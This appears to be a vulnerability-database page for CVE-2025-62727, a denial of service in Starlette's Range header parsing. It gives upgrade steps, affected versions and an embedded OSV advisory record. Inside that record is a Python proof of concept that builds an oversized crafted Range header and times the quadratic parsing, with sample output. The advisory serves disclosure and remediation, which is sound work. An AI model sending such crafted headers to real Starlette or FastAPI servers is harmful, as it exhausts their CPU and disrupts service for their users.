CVE-2025-62727: Starlette Denial of Service Vulnerability
HIGHCVE-2025-62727 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Starlette libraries in the PyPI ecosystem. The issue involves starlette vulnerable to o(n^2) dos via range header merging in ``starlette.responses.fileresponse``. Remediation is available by upgrading affected packages to version 0.49.1.
CVE-2025-62727 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2025-62727
To remediate this vulnerability, upgrade all affected Starlette dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install starlette>=0.49.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show starlette
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-62727, inspect your installed packages using pip:
pip show starlette
Analyze the terminal output to locate any version of Starlette in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.49.1), your application is affected.
Note: The pip show starlette command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Starlette, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-62727 Affected Starlette Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
starlette
|
PyPI |
≥ 0.39.0
< 0.49.1
|
0.49.1
|
References
Frequently Asked Questions
What is CVE-2025-62727?
Which Starlette versions are affected?
What version fixes CVE-2025-62727?
Is starlette affected?
What is the CVSS score of CVE-2025-62727?
What CWE is associated with CVE-2025-62727?
How can I check PyPI dependencies for CVE-2025-62727?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7f5h-v6xp-fcq8",
"modified" : "2025-11-04T17:40:59Z",
"published" : "2025-10-28T20:38:01Z",
"aliases" : [ "CVE-2025-62727" ],
"summary" : "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"details" : "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -> str:\n \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -> float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -> None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "starlette"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.39.0"
}, {
"fixed" : "0.49.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.49.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
}, {
"type" : "WEB",
"url" : "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
}, {
"type" : "WEB",
"url" : "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Kludex/starlette"
}, {
"type" : "WEB",
"url" : "https://github.com/Kludex/starlette/releases/tag/0.49.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-407" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-28T20:38:01Z",
"nvd_published_at" : "2025-10-28T21:15:40Z"
}
}